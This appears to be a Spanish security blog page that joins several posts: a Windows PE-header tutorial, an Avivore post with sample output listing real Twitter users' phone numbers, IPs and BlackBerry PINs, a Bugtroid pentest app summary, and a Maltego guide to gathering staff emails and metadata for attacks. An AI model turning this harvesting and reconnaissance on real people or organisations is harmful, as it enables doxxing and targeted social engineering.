00400140        00000000     DD 00000000          ;  TLS Table address = 0
00400144        00000000     DD 00000000          ;  TLS Table size = 0
00400148        00000000     DD 00000000          ;  Load Config Table address = 0
0040014C        00000000     DD 00000000          ;  Load Config Table size = 0
00400150        00000000     DD 00000000          ;  Bound Import Table address = 0
00400154        00000000     DD 00000000          ;  Bound Import Table size = 0
00400158        00000000     DD 00000000          ;  Import Address Table address = 0
0040015C        00000000     DD 00000000          ;  Import Address Table size = 0
00400160        00000000     DD 00000000          ;  Delay Import Descriptor address = 0
00400164        00000000     DD 00000000          ;  Delay Import Descriptor size = 0
00400168        00000000     DD 00000000          ;  COM+ Runtime Header address = 0
0040016C        00000000     DD 00000000          ;  Import Address Table size = 0
00400170        00000000     DD 00000000          ;  Reserved
00400174        00000000     DD 00000000          ;  Reserved

Diferencia entre Dirección RAW y Virtual

Para poder entender el significado de algunas de estas variables, hace falta una pequeña introduccion de como las secciones se colocan en memoria.

Cuando se coloca un programa en memoria, para ejecutarlo, no se coloca exactamente como está en el archivo, en el archivo se tiene todo en forma mas compactada. En memoria se alinean las secciones, generalmente de a 0x1000 bytes (esto depende de la variable que se encuentra en este encabezado, SectionAlignment es la variable que dice el valor de la alineacion, solo que generalmente vale 0x1000), esto hace mas rapida la lectura, sin embargo las secciones en el archivo, no hace falta que se separen unas de otras, aunque tambien son alineadas (la variable FileAlignment tiene el valor al cual se alinea en el archivo)

Ademas de esta diferencia, el codigo del programa no comienza de la direccion 0x0 como pasa en el archivo, asi que una direccion en el archivo es totalmente distinta a una direccion en memoria. en el encabezado, cuando se refiere a memoria Rva se refiere a la memoria en el archivo, y cuando habla de memoria virtual se refiere al programa ya colocado en memoria para la ejecución eso es necesario diferenciar para entender el encabezado.

Si queremos encontrar, donde empieza una seccion en el archivo, debemos buscar su direccion RVA, si queremos ver donde empieza esa misma seccion en memoria, debemos buscar su direccion Virtual (mas adelante veremos como identificar eso, con unos ejemplos)

Seguido de esto viene el encabezado de las secciones esta es la estructura de cada encabezado de seccion

    typedef struct _IMAGE_SECTION_HEADER {
      BYTE  Name[IMAGE_SIZEOF_SHORT_NAME]; /* IMAGE_SIZEOF_SHORT_NAME = 8 bytes */
      union {
        DWORD PhysicalAddress;
        DWORD VirtualSize;
      } Misc;
      DWORD VirtualAddress;
      DWORD SizeOfRawData;
      DWORD PointerToRawData;
      DWORD PointerToRelocations;
      DWORD PointerToLinenumbers;
      WORD  NumberOfRelocations;
      WORD  NumberOfLinenumbers;
      DWORD Characteristics;
    } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Por la union no hay que preocuparse, considerese solo una variable, que indica el tamaño (VirtualSize)

La cantidad de secciones tenemos ya, del encabezado NT, al ir leyendo todos los encabezados de las secciones, tendremos su posicion en el archivo (PointerToRawData), y en memoria (VirtualAddress), el tamaño es el mismo, la diferencia es que, estando en memoria, se llena de 0x0 hasta ajustarse a la alineación.

En fin, despues de esto solo se tiene que ir leyendo las secciones.

.text es generalmente la seccion que contiene el codigo .data y .rdata contiene constantes, son secciones de solo lectura. .bss es una seccion de lectura y escritura, se usa para las variables globales generalmente, las variables locales se colocan en el stack (eso lo veremos en otro tuto) .idata es la tabla de importacion de funciones .edata es la tabla de exportacion de funciones (es mas comun en los DLL, aunque un exe tambien lo puede tener)

En nuestro code de ejemplo aqui esta el encabezado de las secciones

"000000170  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   |########.text###|"
"000000180  E8 59 00 00 00 10 00 00-00 5A 00 00 00 04 00 00   |#Y#######Z######|"
"000000190  00 00 00 00 00 00 00 00-00 00 00 00 60 00 50 60   |############`#P`|"
"0000001A0  2E 64 61 74 61 00 00 00-44 00 00 00 00 70 00 00   |.data###D####p##|"
"0000001B0  00 02 00 00 00 5E 00 00-00 00 00 00 00 00 00 00   |#####^##########|"
"0000001C0  00 00 00 00 40 00 30 C0-2E 72 64 61 74 61 00 00   |####@#0#.rdata##|"
"0000001D0  20 05 00 00 00 80 00 00-00 06 00 00 00 60 00 00   | ############`##|"
"0000001E0  00 00 00 00 00 00 00 00-00 00 00 00 40 00 60 40   |############@#`@|"
"0000001F0  2E 62 73 73 00 00 00 00-78 0A 00 00 00 90 00 00   |.bss####x.######|"
"000000200  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   |################|"
"000000210  00 00 00 00 80 00 40 C0-2E 69 64 61 74 61 00 00   |######@#.idata##|"
"000000220  B8 04 00 00 00 A0 00 00-00 06 00 00 00 66 00 00   |#############f##|"
"000000230  00 00 00 00 00 00 00 00-00 00 00 00 40 00 30 C0   |############@#0#|"

Seguido a esto (hay un espacio lleno de 0x0 donde se pueden agregar mas encabezados de secciones), y luego ya están las secciones en sí (a lo que le llamé Stub NT)

Esto es todo, se supone que con esto se debe entender como es el formato del ejectuable de windows.

A continuacion veremos un ejemplo de como encontrar una zona especifica de un programa, en memoria y en el archivo.

Para empezar buscaremos el famoso EntryPoint, esta direccion indica el lugar donde se comienza a ejecutar el code, asi que, se supone que debe caer dentro de la seccion de code, ( en el caso del ejemplo solo tiene una seccion con code .text )

Dentro del OptionalHeader tenemos una variable llamada AddressOfEntryPoint, para encontrarlo en el archivo, vamos al inicio de la estructura del OptionalHeader, y contamos los tamaños de las variables que están antes WORD+2*BYTE+3*DWORD = 0x10 bytes (16 en decimal) sabemos que el inicio de esa estructura esta en 0x000000098 (eso ya lo vimos mas arriba), asi que la direccion del EntryPint debe estar en el Offset 0x0000000A8, tambien sabemos que ocupa 1 DWORD = 4 bytes.

"0000000A0  00 68 00 00 00 0C 00 00-30 11 00 00 00 10 00 00   |#h######0#######|"
"0000000B0  00 70 00 00 00 00 40 00-00 10 00 00 00 02 00 00   |#p####@#########|"

Comos que en el archivo es este el valor "30 11 00 00", como ya dijimos hay que voltearlo de 2 en 2 para tener el valor en Hexa 0x00001130, listo esta es la direccion del entrypoint, pero, tambien como vimos, todas estas direcciones estan referidas al ImageBase, de la misma forma que buscamos el valor del EntryPoint busquemos el ImageBase, esta variable está 3 Dword abajo del entrypoint, osea 8bytes, 0x0000000A8 + 0xC = 0x0000000B4 y ocupa 4 bytes, este es el valor "00 00 40 00" volteando = 0x00400000, bien, asi que el EntryPoint está realmente en 0x00400000 + 0x00001130 = 0x00401130 (eso lo podemos comprobar con algun otro programa como el olly)

Que pasa si queremos ver ese entrypoint en el archivo, como lo vemos?
primero hay que saber a que seccion corresponde, en este caso, es evidente que corresponde a .text veamos El VirtualAdress de .text, y el tamaño para acegurarnos de que está en esa seccion este es el encabezado de esa seccion (comienza en 0x000000178)

"000000170  00 00 00 00 00 00 00 00-2E 74 65 78 74 00 00 00   |########.text###|"
"000000180  E8 59 00 00 00 10 00 00-00 5A 00 00 00 04 00 00   |#Y#######Z######|"
"000000190  00 00 00 00 00 00 00 00-00 00 00 00 60 00 50 60   |############`#P`|"

su VirtualAdress esta a 8 Bytes + 1 Dword del inicio del encabezado, osea a 0xC bytes "00 10 00 00" = 0x00001000, tambien nos hara falta conocer el PointerToRawData "00 04 00 00"= 0x00000400

El virtual adress sabemos que es relativo al ImageBase, pero solo nos interesa saber la distancia a la que está el EntryPoint del inicio de esa seccion. asi que ese Offset sera EntryPint - VirtualAdress = 0x130.

Ese es el offset desde el inicio de la seccion, en el archivo esa seccion inicia en el PointerToRawData, asi que, el entrypoint en el archivo está en PointerToRawData + 0x130 = 0x530
Vemos el archivo

"000000530  55 89 E5 83 EC 18 C7 04-24 01 00 00 00 FF 15 50   |U#######$######P|"
"000000540  A1 40 00 E8 D8 FE FF FF-90 8D B4 26 00 00 00 00   |#@#########&####|"
"000000550  55 89 E5 53 83 EC 14 8B-45 08 8B 00 8B 00 3D 91   |U##S####E#####=#|"
"000000560  00 00 C0 77 3B 3D 8D 00-00 C0 72 4B BB 01 00 00   |###w;=####rK####|"
"000000570  00 C7 44 24 04 00 00 00-00 C7 04 24 08 00 00 00   |##D$#######$####|"

y lo comparamos con el dump del Entrypoint en memoria (visto con el Ollydbg)

00401130  55 89 E5 83 EC 18 C7 04 24 01 00 00 00 FF 15 50  U.å.ì.Ç.$......P
00401140  A1 40 00 E8 D8 FE FF FF 90 8D B4 26 00 00 00 00  .@.èØþ....&....
00401150  55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91  U.åS.ì..E.....=.
00401160  00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00  ..Àw;=..ÀrK....
00401170  00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00  .ÇD$.....Ç.$....

Podemos ver que el code coincide exactamente, ya que estamos parados en el mismo lugar.

Enlaces:

ESTUDIO DE LOS ENCABEZADOS PE (parte 1) POR SICK TROEN
ESTUDIO DE LOS ENCABEZADOS PE (parte 2) POR SICK TROEN
Estudios sobre las cabeceras AE - 1 - Las Secciones
Estudios sobre las cabeceras AE-2 


Autor: Jep


miércoles, 18 de diciembre de 2013

Avivore


Avivore

Avivore es una sencilla herramienta programada en lenguaje Python que, utilizando la API de Twitter, busca determinadas palabras clave para analizar los tweets encontrados y extraer información relativa a:

1) Números de teléfono en el formato internacional de marcación NPA-NXX (por ejemplo, 604-555-5555).
2) Direcciones IP en formato IPv4 (127.0.0.1).
3) Códigos PIN de dispositivos Blackberry (ABCDEF12) para utilizar con Blackberry Messenger (BBM), un servicio similar al conocido Whatsapp.

Todo lo anterior se almacena en una base de datos SQLite (.db) y va mostrando los resultados uno a uno de forma secuencial a través de la consola. En la página del creador se indica que la herramienta ha sido probada en Ubuntu pero que debería funcionar en cualquier otra plataforma capaz de ejecutar Python. En el laboratorio de Hacktimes se ha instalado bajo una distribución Linux Debian Squeeze y, una vez configurado Python adecuadamente, no ha surgido ningún problema con los módulos de Twitter y Sqlite.

Avivore fue presentado en las conferencias de Seguridad B-Sides de Vancouver a principios de marzo de este año 2013 y desde entonces el autor está recopilando ideas para darle nuevos usos a la herramienta y así obtener más información de los usuarios que publican alegremente demasiados datos en Twitter.

La instalación es simple.

apt-get install sqlite3
curl -O http://python-distribute.org/distribute_setup.py
python distribute_setup.py
curl -O https://raw.github.com/pypa/pip/master/contrib/get-pip.py
python get-pip.py
pip install twitter

hacktimes_lab# python avivore.py

Avivore 1.0
A Twitter-based tool for finding personal data.

Licensed under the LGPL and created by Colin Keigher
http://github.com/ColinKeigher
--------------------------------------------------------

[1365009816] Type: bbpin, User: DjAndresBass, PIN: 2908ABFB, TweetID: 319498790010757121
[1365009816] Type: bbpin, User: 1Okonma, PIN: 26580A0F, TweetID: 319498775104204800
[1365009816] Type: bbpin, User: kopyrit3, PIN: 28B39095, TweetID: 319498184776896512
[1365009816] Type: bbpin, User: AlbaraaNagro, PIN: 271FE0FA, TweetID: 319497093121196032
[1365009826] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500427693527040
[1365009826] Type: phone, User: soloventasEC, Number: 6660986790, TweetID: 319500381421969410
[1365009826] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500309141536768
[1365009826] Type: phone, User: Diegoleon007, Number: 3044680505, TweetID: 319500240979890177
[1365009826] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500216288043008
[1365009857] Type: phone, User: bitch_suck_des, Number: 7343772865, TweetID: 319500316884226048
[1365009867] Type: phone, User: CDFMS, Number: 6628417855, TweetID: 319500569897209856
[1365009867] Type: phone, User: NickRizzi_, Number: 7184905119, TweetID: 319500566948614144
[1365009888] Type: ipadr, User: Africanex, IP: 76.64.191.184, TweetID: 319500002735042562
[1365009888] Type: ipadr, User: Africanex, IP: 70.26.36.130, TweetID: 319499562706423809
[1365009888] Type: ipadr, User: Africanex, IP: 99.232.57.192, TweetID: 319499553558626304
[1365009919] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500792157593601
[1365009919] Type: bbpin, User: elmejor1393, PIN: 24427bb7, TweetID: 319500680417120257
[1365009919] Type: bbpin, User: gngstryuri, PIN: 284f70a8, TweetID: 319500673769160705
[1365009919] Type: bbpin, User: shantisusantii, PIN: 284f70a8, TweetID: 319500642018275331


martes, 17 de diciembre de 2013

Bugtroid


Bugtroid

Bugtroid es una herramienta innovadora desarrollada por el equipo de Bugtraq-Team. Las características principales de este apk, es que cuenta con mas de 200 herramientas de Android y Linux (PRO) para realizar pentesting y forense a través de su Smarthphone o Tablet.

Dispone de un menu categorizado según la naturaleza de las herramienta, pudiendo encontrar:

- Anonimato
- Búsqueda de Personas
- Auditoría para frecuencias 802.11 (Wireless y Bluetooth)
- Mapeo de Redes
- Control remoto
- DDOS
- Sniffers
- Pentesting
- Seguridad
- Forense
- Analisis Web
- Cryptografía
- Fuerza Bruta
- Antivirus
- Sistema


Desde el menú de la aplicación usted podrá:

- Consultar la información de la herramienta.
- Instalar la Aplicación.
- Desinstalar la Aplicación.
- Ejecutar la Aplicación (PRO)


También dispone del apartado de configuraciones, el cual le servirá para administrar e instalar ciertos requerimientos para el correcto funcionamiento de las herramientas asi como otras fnciones:

- Establecer fondo de pantalla
- Instalar los requisitos minimos para el funcionamiento de las herramientas
- Instalar accesos directos en el escritorio (PRO)
- Instalar accesos directos de la consola (PRO)
- Instalación de interpretes: Perl, Python, Ruby, Php y Mysql (PRO)


El equipo de Bugtraq-Team, no se hace responsable del uso que se le puedan aplicar a estas herramientas, ni al contenido de las mismas.




lunes, 16 de diciembre de 2013

Maltego Data Gathering Tool


Maltego Data Gathering Tool

Maltego es una aplicación de minería y recolección de información utilizada durante la fase de ‘Data Gathering’, proceso en el cual se trata de obtener el mayor número de información posible sobre un objetivo para su posterior ataque.

Antes de empezar a utilizar Maltego, es necesario registrarse en la web, ya que cuando se inicie Maltego por primera vez, nos pedirá que introduzcamos nuestra cuenta de usuario a través de un asistente. Si no realizamos estos pasos, no se nos cargará la paleta de entidades, por lo que no podremos utilizar adecuadamente el software.

Para iniciar un nuevo proyecto (Graph), se debe hacer clic sobre el icono marcado en la siguiente captura de pantalla.


En el lateral izquierdo de la interfaz, se encuentra un panel con la paleta de componentes. Para agregar una entidad desde esta paleta, basta con arrastrarlo al ‘Graph’. En la siguiente captura se ve como se ha agregado una entidad ‘Domain’.

Si hacemos clic sobre la entidad una vez agregada, en el lateral derecho se nos mostrará el panel de propiedades, pudiendo personalizar y modificar las propiedades del mismo. Para este ejemplo se ha configurado la propiedad ‘Domain Name’ como ‘fbi.gov’.


Para iniciar el proceso de minería de datos, hay que comenzar con la recogida de información sobre una entidad. Para ello es necesario hacer clic derecho sobre la misma, y expandir el menú ‘Run transform’, donde aparecerá una lista con las distintas transformaciones aplicables a dicha entidad.

Si dejamos el puntero del ratón situado encima de una de ellas, se nos mostrará una pequeña descripción sobre ella.

Una vez se inicie la búsqueda, se irá pintando el mapa de los datos obtenidos. Dicho mapa será representado mediante diferentes iconos dependiendo del tipo de entidad de que se trate. Por supuesto, cada una dispondrá de sus propias transformaciones.


Una vez se aplique la transformación, se inicirá la búsqueda, y a medida que esta se ejecuta y devuelve resultados, se irá pintando el mapa con los datos obtenidos. Dicho mapa será representado mediante diferentes iconos dependiendo del tipo de entidad que se trate, y cada una dispondrá, por tanto, de sus propias transformaciones.

Una parte importante, a la hora de realizar un proceso de ‘Data Gathering’, es la identificación de los usuarios de la organización objetivo. Dicha información puede resultar de gran utilidad a la hora de realizar ataques, ya sean bien de ingeniería social, o bien datos que se utilicen para la generación de diccionarios de usuarios, creando de este modo una lista de usuarios válidos en la organización.

Con este objetivo existe una transformación llamada ‘Email Addresses from Domain -> All in this set’, que intenta obtener un mapa similar al que se puede ver en la siguiente imagen:


Con todas estas direcciones de correos se puede obtener más información, como por ejemplo obtener los dominios en los cuales ha sido encontradas referencias a una dirección de correo concreta. Esto puede encontrar foros, relaciones de comunicación entre empresas, datos publicados en blogs, frecuencias de visita de usuarios, etc... para la realizacion de ataques dirigidos.

En este caso, para probar esta transformación se realizará una búsqueda sobre la dirección de correo ‘employment@fbi.gov’, usando la transformación ‘Other transformation -> To Website’.


Como se puede ver en la imagen, esta cuenta aparece relacionada con distintos servidores web.

En casos en los que se conozca información extra que Maltego ha sido incapaz de encontrar o relacionar, podemos hacer esto manualmente. Si por ejemplo se supiera de la existencia de la cuenta ‘usuario @fbi.gov’, se puede agregar manualmente arrastrando la entidad ‘Email Address’ y, posteriormente, creando un enlace con el dominio, símplemente arrastrando desde la entidad dominio hacia la dirección de correo.


Otra de las funcionalidades de Maltego es la extracción de metadatos de los documentos ofimáticos. Para ello, primero es necesaria la localización de dichos documentos mediante la transformación ‘Files and Documents from Domain -> To Files (Office)’, en este caso realizado sobre el dominio ‘usal.es’.


Para la extracción de metadatos, utilizar la transformación ‘Other transforms -> Parse meta information’ sobre los documentos ofimáticos, obteniendo así los datos.

Una vez está realizada la extracción y relación de datos, es posible visualizarla de diversas formas graficas (Mining view, Dynamic View, Edge Weighter View) o en modo texto (Entity List), seleccionando el tipo en la parte superior del gráfico.

Créditos: Chema Alonso